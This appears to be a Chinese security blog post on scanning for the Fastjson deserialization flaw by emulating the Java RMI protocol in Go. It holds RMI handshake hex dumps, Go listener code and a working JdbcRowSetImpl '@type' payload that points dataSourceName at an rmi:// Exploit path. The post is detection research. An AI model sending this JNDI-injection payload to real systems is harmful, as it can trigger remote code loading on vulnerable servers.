Golang實現RMI協議自動化檢測Fastjson
筆者繼續帶大家炒Fastjson的冷飯。關于漏洞分析和利用鏈分析文章網上已有大量,但是關于如何自動化檢測的文章還是比較少見的,尤其是如何不使用Java對Fastjson做檢測。是否可以不用Dnslog平臺,也不用自行搭建JDNI/LDAP服務,就可以進行無害化的掃描呢?
其實tomcat-dbcp的BasciDataSource鏈可以做到不借助JNDI/LDAP觸發反序列化漏洞,但問題還是在于需要自行搭建Dnslog平臺。不借助這條鏈,還有辦法嗎?
首先我們來看看市面上已有的Fastjson檢測工具:
BurpFastJsonScan
其中第1-4條Payload過長沒有截圖,正是rmi和ldap的JdbcRowSetImpl鏈,分成多種是為了繞各個小版本,并且做了編碼。所有的Payload都采用了Dnslog的方式,值得一看的是后幾條Payload直接用了java.net包,感覺這種不太算漏洞利用,只是簡單的反序列化做驗證

而以上所有的Payload都需要Dnslog平臺,并且需要自行搭建JNDI/LDAP服務,才可以進行盲打
public DnsLogCn(IBurpExtenderCallbacks callbacks) { this.callbacks = callbacks; this.dnslogDomainName = "http://www.dnslog.cn"; this.setExtensionName("DnsLogCn"); this.init();}
sleep后二次驗證,是很好的做法,總體來說該檢測工具是不錯的Burpsuite插件
// 防止因為dnslog卡導致沒有檢測到的問題, 這里進行二次檢測, 保證不會漏報// 睡眠一段時間, 給dnslog一個緩沖時間try { Thread.sleep(8000);} catch (InterruptedException e) { throw new RuntimeException(e);}// 開始進行二次驗證String dnsLogBodyContent = this.dnsLog.run().getBodyContent();if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) { return;}
Fastjson-Scanner
一個Python寫的Burp插件,Payload只有一種,也是借助dnslog,使用的是Burp的burpsuite collaborato功能自帶Dnslog,是挖洞利器

Fastjson-Scan
另一個Java版的Burp插件,使用JdbcRowSetImpl鏈和Burp自帶的Dnslog

延遲查看Dnslog,防止查不到
// 向目標發送payloadIHttpRequestResponse resp = this.callbacks.makeHttpRequest(iHttpService, postMessage);// 擔心目標有延遲,所有延時2秒再查看dnslog平臺Thread.sleep(2000);// 返回的是一個數組dnsres = context.fetchCollaboratorInteractionsFor(dnslog);
菜單中啟動掃描任務需要多線程的方式防止阻塞
fireTableRowsInserted(row, row);// 在事件觸發時是不能發送網絡請求的,否則可能會造成整個burp阻塞崩潰,所以必須要新起一個線程來進行漏洞檢測Thread thread = new Thread(new Runnable() { @Override public void run() { checkVul(responses[0], row); }});thread.start();
傳統方式總結
其實還有一些掃描工具,不過沒必要進行閱讀了,他們的原理可以總結為:
- 直接用java.net包反序列化配合Dnslog方式,需自行配置平臺
- 用JdbcRowSetImpl鏈配合Dnslog方式,需要家住LDAP/JNDI Server
- 如果用了TemplatesImpl和BasicDataSource,沒有回顯,還是需要借助Dnslog
巧妙的方式
該方式參考了長亭xray核心作者koalr師傅的文章,將在末尾給出鏈接。筆者在長亭科技實習期間,就是由koalr師傅指導學習和工作,受益匪淺
回到主題,后文將以JdbcRowSetImpl鏈結合JNDI注入的方式演示,JNDI注入方式不支持高版本JDK可以采用LDAP,原理類似
給出以下的真實情景:
- 情景一
某挖洞小隊想寫一個掃描器,專門用來做Fastjson的掃描,最終打包一個可執行文件方便白帽子們挖洞,執行./super-scanner -u https://xxx,需要用戶自行配制好Dnslog平臺,甚至需要自行搭建JNDI Server和對應的HTTP Server。
- 情景二
白帽子們抱怨好麻煩,希望能做一款工具無需自行搭建各種平臺和服務,就可以實現Fastjson的掃描。于是開發者將Java環境嵌入到Golang/C++編寫的程序中,比如用java -jar xxx.jar啟動服務,再自行編寫類似Dnslog的服務,集成到工具中,只要在服務器啟動該掃描器,理論上確實可以做到不配置任何平臺只用一個可執行文件做到檢測。
- 情景三
開發者發現這種方式存在性能問題,首先需要嵌入Java,不得不在電腦上配置Java環境,而且JNDI/LDAP/Dnslog服務本身也是消耗性能并且占用端口的。做批量掃描需要開大量端口并維護一個大map:[target->port]用于區分每一個目標。另外后續該掃描器需要加入其他插件,將會變得較臃腫
是否可以用Golang模擬RMI協議,用于檢測目標是否存在Fastjson漏洞
給出RMI官方文檔:文檔1,文檔2
報文分析
- client->server
參考協議文檔:0x4a 0x52 0x4d 0x49 Version Protocol
其中Vesion表示版本,應該是0x00或0x01,
Protocol表示三種具體協議,比如當前0x4b表示StreamProtocol
原始報文:4a 52 4d 49 00 02 4b
- server->client
參考文檔0x4e表示ProtocolAck,是正常情況下的ACK確認
0x0009表示報文長度為9,其實是IP地址長度的表示
31 32 37 2e 30 2e 30 2e 31->127.0.0.1
最后的0xc4和0x12表示50194端口號
原始報文:4e 00 09 31 32 37 2e 30 2e 30 2e 31 00 00 c4 12
- client->server
0x000d表示長度13,而這13位正是一個內網的IP:192.168.222.1
這個內網IP涉及到單波的概念,參考鏈接:JDK源碼
原始報文:00 0d 31 39 32 2e 31 36 38 2e 32 32 32 2e 31 00 00 00 00
- client->server
0x50是一個flag,代表call操作,0xaced是常見的java magic number。后面這一部分是Java的序列化數據,沒有分析的必要(不過注意到末尾的Exploit是JNDI Server綁定的Path)
原始報文:0000 50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00 P....w".........0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................0020 02 44 15 4d c9 d4 e6 3b df 74 00 07 45 78 70 6c .D.M...;.t..Expl0030 6f 69 74 oit
- server->client
server數據沒有發送結束,0x51是一個flag,代表ReturnData真正的返回數據
后續aced開頭的都是java序列化數據
原始報文:0000 51 ac ed 00 05 77 0f 01 c6 ee 4f 24 00 00 01 7b Q....w....O$...{0010 11 5d c6 ff 80 08 73 72 00 2f 63 6f 6d 2e 73 75 .]....sr./com.su0020 6e 2e 6a 6e 64 69 2e 72 6d 69 2e 72 65 67 69 73 n.jndi.rmi.regis0030 74 72 79 2e 52 65 66 65 72 65 6e 63 65 57 72 61 try.ReferenceWra0040 70 70 65 72 5f 53 74 75 62 00 00 00 00 00 00 00 pper_Stub.......0050 02 02 00 00 70 78 72 00 1a 6a 61 76 61 2e 72 6d ....pxr..java.rm0060 69 2e 73 65 72 76 65 72 2e 52 65 6d 6f 74 65 53 i.server.RemoteS0070 74 75 62 e9 fe dc c9 8b e1 65 1a 02 00 00 70 78 tub......e....px0080 72 00 1c 6a 61 76 61 2e 72 6d 69 2e 73 65 72 76 r..java.rmi.serv0090 65 72 2e 52 65 6d 6f 74 65 4f 62 6a 65 63 74 d3 er.RemoteObject.00a0 61 b4 91 0c 61 33 1e 03 00 00 70 78 70 77 36 00 a...a3....pxpw6.00b0 0a 55 6e 69 63 61 73 74 52 65 66 00 0d 31 39 32 .UnicastRef..19200c0 2e 31 36 38 2e 32 32 32 2e 31 00 00 f3 bd 23 92 .168.222.1....#.00d0 b3 d9 f7 a3 45 9c c6 ee 4f 24 00 00 01 7b 11 5d ....E...O$...{.]00e0 c6 ff 80 01 01 78 .....x
- client->server
數據接收沒有問題,給服務端一個Ping(0x52)
原始報文:52
- server->client
對于客戶端Ping的響應(0x53)
原始報文:53
- client->server
查看文檔這里是分布式垃圾回收相關(flag:0x54)的內容,筆者測試多次,返回都是相同的數據,也許是一個確定的值?這點還有待分析,不過第一個value是可以確定的
0000 54 c6 ee 4f 24 00 00 01 7b 11 5d c6 ff 80 08 T..O$...{.]....
Golang實現
本文的重中之重就在這里,我將給出完整的Golang解析案例
簡單的TCP監聽:
func startListen(host string, port int) { address := fmt.Sprintf("%s:%d", host, port) localAddress, _ := net.ResolveTCPAddr("tcp4", address) l, err := net.ListenTCP("tcp", localAddress) if err != nil { panic(err) } doListen(l)}
func doListen(l net.Listener) { conn, err := l.Accept() if err != nil { panic(err) } data := make([]byte, 1024) _, err = conn.Read(data) if err != nil { panic(err) } handleFirst(data, &conn)}
解析第一個請求
func handleFirst(data []byte, conn *net.Conn) { fmt.Println("client->server") // 檢測第一個請求是否合法 if !firstCheck(data) { return } // 發送IP信息的響應 ret := getFirstResp(conn) _, err := (*conn).Write(ret) fmt.Println("server->client:address info") if err != nil { panic(err) } data = make([]byte, 1024) // 讀取第二個請求 _, _ = (*conn).Read(data) fmt.Println("client->server:unicast info") // 解析第二個請求 handleSecond(data, conn)}
firstCheck內容,根據協議判斷每一位是否合法
func firstCheck(data []byte) bool { // check head if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 { // check version if data[4] != 0x00 && data[4] != 0x01 { return false } // check protocol if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d { return false } // check other data lastData := data[7:] for _, v := range lastData { if v != 0x00 { return false } } return true } return false}
getFirstResp,構造第一個響應包
func getFirstResp(conn *net.Conn) []byte { var ret []byte address := (*conn).RemoteAddr().String() ip := strings.Split(address, ":")[0] port := strings.Split(address, ":")[1] length := len(ip) // flag位 ret = append(ret, 0x4e) // length位 ret = append(ret, 0x00) ret = append(ret, uint8(length)) // 寫入ip for _, v := range ip { ret = append(ret, uint8(v)) } // 空余 ret = append(ret, 0x00) ret = append(ret, 0x00) intPort, _ := strconv.Atoi(port) temp := uint16(intPort) var b [2]byte // 寫入端口 b[1] = uint8(temp) b[0] = uint8(temp >> 8) ret = append(ret, b[0]) ret = append(ret, b[1]) return ret}
第二個包處理,由于單播地址不確定,所以給出ipv4的正則
func handleSecond(data []byte, conn *net.Conn) { if data[0] != 0x00 { return } length := data[1] var ip string for i := 2; i < int(length)+2; i++ { ip += fmt.Sprintf("%c", data[i]) } // 判斷給出的內網IP是否合法 ipReg := `^((0|[1-9]\d?|1\d\d|2[0-4]\d|25[0-5])\.){3}(0|[1-9]\d?|1\d\d|2[0-4]\d|25[0-5])$` match, _ := regexp.MatchString(ipReg, ip) if match { lastData := data[int(length)+2:] for _, v := range lastData { if v != 0x00 { return } } doThird(conn) }}
返回payload,實際上可以簡化
func doThird(conn *net.Conn) { fmt.Println("client->server:exploit") data := make([]byte, 1024) _, _ = (*conn).Read(data) payload := []byte{ 0x51, 0xac, 0xed, 0x00, 0x05, 0x77, 0x0f, 0x01, 0xc6, 0xee, 0x4f, 0x24, 0x00, 0x00, 0x01, 0x7b, 0x11, 0x5d, 0xc6, 0xff, 0x80, 0x08, 0x73, 0x72, 0x00, 0x2f, 0x63, 0x6f, 0x6d, 0x2e, 0x73, 0x75, 0x6e, 0x2e, 0x6a, 0x6e, 0x64, 0x69, 0x2e, 0x72, 0x6d, 0x69, 0x2e, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x57, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x5f, 0x53, 0x74, 0x75, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x00, 0x00, 0x70, 0x78, 0x72, 0x00, 0x1a, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x72, 0x6d, 0x69, 0x2e, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x53, 0x74, 0x75, 0x62, 0xe9, 0xfe, 0xdc, 0xc9, 0x8b, 0xe1, 0x65, 0x1a, 0x02, 0x00, 0x00, 0x70, 0x78, 0x72, 0x00, 0x1c, 0x6a, 0x61, 0x76, 0x61, 0x2e, 0x72, 0x6d, 0x69, 0x2e, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0xd3, 0x61, 0xb4, 0x91, 0x0c, 0x61, 0x33, 0x1e, 0x03, 0x00, 0x00, 0x70, 0x78, 0x70, 0x77, 0x36, 0x00, 0x0a, 0x55, 0x6e, 0x69, 0x63, 0x61, 0x73, 0x74, 0x52, 0x65, 0x66, 0x00, 0x0d, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x32, 0x32, 0x32, 0x2e, 0x31, 0x00, 0x00, 0xf3, 0xbd, 0x23, 0x92, 0xb3, 0xd9, 0xf7, 0xa3, 0x45, 0x9c, 0xc6, 0xee, 0x4f, 0x24, 0x00, 0x00, 0x01, 0x7b, 0x11, 0x5d, 0xc6, 0xff, 0x80, 0x01, 0x01, 0x78, } _, _ = (*conn).Write(payload) data = make([]byte, 1024) _, _ = (*conn).Read(data) if data[0] == 0x52 { lastData := data[1:] for _, v := range lastData { if v != 0x00 { return } } doFinal(conn) }}
最后兩步的Ping和Ack,DgcAck無法確認后續內容,只對第一位進行校驗
func doFinal(conn *net.Conn) { _, _ = (*conn).Write([]byte{0x53}) data := make([]byte, 1024) _, _ = (*conn).Read(data) if data[0] == 0x54 { fmt.Println("final") }}
最終觸發Payload
public static void main(String[] argv) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"rmi://127.0.0.1:8888/Exploit\", " + "\"autoCommit\":true}"; JSON.parse(payload);}
效果如圖,成功用golang實現RMI協議的解析,代碼有很多不完善,但是提供了一種思路,也許各大廠商可以將該思路加入自己的fastjson掃描組件中

參考鏈接
https://koalr.me/post/fastjson-deserialization-detection/
https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html#overview